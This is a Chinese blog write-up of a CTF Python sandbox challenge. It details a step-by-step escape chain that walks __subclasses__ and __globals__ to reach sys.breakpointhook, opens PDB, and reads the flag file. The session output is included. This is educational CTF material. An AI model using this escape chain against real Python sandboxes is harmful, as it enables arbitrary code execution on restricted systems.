2025CTF-MISC-GAC
作者:matrix 被围观: 12 次 发布时间:2025-08-26 分类:Python | 无评论 »
MISC题目
Get And Call ?!
nc 10.224.35.246 8080
附件:
#!/usr/bin/env python3
_ = "Welcome to bctf2025!"
while _ is not None:
print(f"{_=}\nA. Get The Attr!\nB. Just Call it!")
_ = getattr(_, input("What > "), _) if input("Menu > ") == "A" else _()
沙盒环境不允许传参调用,只能执行链式调用,返回值会覆盖到_
尝试摸到过 os.environ 看环境变量没有flag,剩下只有RCE。最后手动连接做了 3 天~ 快累死。还是玩得太少 😳 。 下次试试 pwn 的 Python 依赖来处理
目标:RCE
绕过沙盒环境限制执行RCE
通过魔术方法找到
''.__class__.__base__.__subclasses__().pop() # _=<class '_distutils_hack.shim'>
作为跳板 把 .enter.globals.popitem()的尾巴一层层剥开,直到拿到 sys models
核心 sys.breakpointhook
通过sys.breakpointhook
进入 PDB 远程调试环境执行任意代码
...
Menu >
_=<module 'sys' (built-in)>
A. Get The Attr!
B. Just Call it!
Menu > A
What > breakpointhook
_=<built-in function breakpointhook>
A. Get The Attr!
B. Just Call it!
Menu >
> /app/app.py(3)<module>()
-> while _ is not None:
(Pdb) p open('/flag').read()
'flag{c1aa98221279451a9d7ecda7a63375f5}'
...
手动操作链路
手动执行太麻烦,下次得用 pwn 工具
''.__class__.__base__.__subclasses__().pop() # _=<class '_distutils_hack.shim'>
.__enter__.__globals__.popitem() 剥离尾巴, 此刻 _=('remove_shim', <function _remove_shim at 0x7ff7846daf80>) 需要再回到<class '_distutils_hack.shim'>
.__class__.__base__.__subclasses__().pop() 回到 _distutils_hack.shim
.__enter__.__globals__.popitem() 剥尾 返回:_=('insert_shim', <function insert_shim at 0x7ff0a6696f80>)
.__class__.__base__.__subclasses__().pop() 回到 _distutils_hack.shim
.__enter__.__globals__.popitem() 剥尾 返回:shim
.__class__.__base__.__subclasses__().pop() 回到 _distutils_hack.shim
.__enter__.__globals__.popitem() 剥尾 返回: _=('add_shim', <function add_shim at 0x7ff0a6696830>)
.__class__.__base__.__subclasses__().pop() 回到 _distutils_hack.shim
.__enter__.__globals__.popitem() 剥尾 返回: _=('DISTUTILS_FINDER', <_distutils_hack.DistutilsMetaFinder object at 0x7ff0a66bdf90>)
.__class__.__base__.__subclasses__().pop() 回到 _distutils_hack.shim
.__enter__.__globals__.popitem() 剥尾 返回:_=('name', 'test.test_distutils')
.__class__.__base__.__subclasses__().pop() 回到 _distutils_hack.shim
.__enter__.__globals__.popitem() 剥尾 返回:_=('DistutilsMetaFinder', <class '_distutils_hack.DistutilsMetaFinder'>)
.__class__.__base__.__subclasses__().pop() 回到 _distutils_hack.shim
.__enter__.__globals__.popitem() 剥尾 _=('_TrivialRe', <class '_distutils_hack._TrivialRe'>)
.__class__.__base__.__subclasses__().pop() 回到 _distutils_hack.shim
.__enter__.__globals__.popitem() 剥尾 _=('do_override', <function do_override at 0x7ff0a66967a0>)
.__class__.__base__.__subclasses__().pop() 回到 _distutils_hack.shim
.__enter__.__globals__.popitem() 剥尾 _=('ensure_local_distutils', <function ensure_local_distutils at 0x7ff0a6696710>)
.__class__.__base__.__subclasses__().pop() 回到 _distutils_hack.shim
.__enter__.__globals__.popitem() 剥尾_=('enabled', <function enabled at 0x7ff0a6696680>)
.__class__.__base__.__subclasses__().pop() 回到 _distutils_hack.shim
.__enter__.__globals__.popitem() 剥尾 _=('clear_distutils', <function clear_distutils at 0x7ff0a66965f0>)
.__class__.__base__.__subclasses__().pop() 回到 _distutils_hack.shim
.__enter__.__globals__.popitem() 剥尾 _=('warn_distutils_present', <function warn_distutils_present at 0x7ff0a6696320>)
.__class__.__base__.__subclasses__().pop() 回到 _distutils_hack.shim
.__enter__.__globals__.popitem() 剥尾 _=('report_url', 'https://github.com/pypa/setuptools/issues/new?template=distutils-deprecation.yml')
# 预见末尾__globals__ 快到sys
.__class__.__base__.__subclasses__().pop() # 回到 _distutils_hack.shim
.__enter__.__globals__.values().__reversed__().__next__() 取出sys
.modules
.values().__reversed__().__next__() # 抽末值模块 M
# 尝试取 Path , pathlib
# 没有找到<class 'pathlib.Path'> 继续
# 没命中则回 sys.modules:A popitem → B(剥掉刚才那个末项)
.__class__.__base__.__subclasses__().pop() # 回到 _distutils_hack.shim
.__enter__.__globals__.values().__reversed__().__next__() 回到sys
.breakpointhook() # 进入 PDB 远程调试执行代码
执行「p open('/flag').read()」,或者 「open('/flag').read()」 找到 flag
.modules
.popitem() # 剥尾
# 取末尾值
.__enter__.__globals__.values().__reversed__().__next__() # _=<function _remove_shim at 0x7ff34a18af80>
...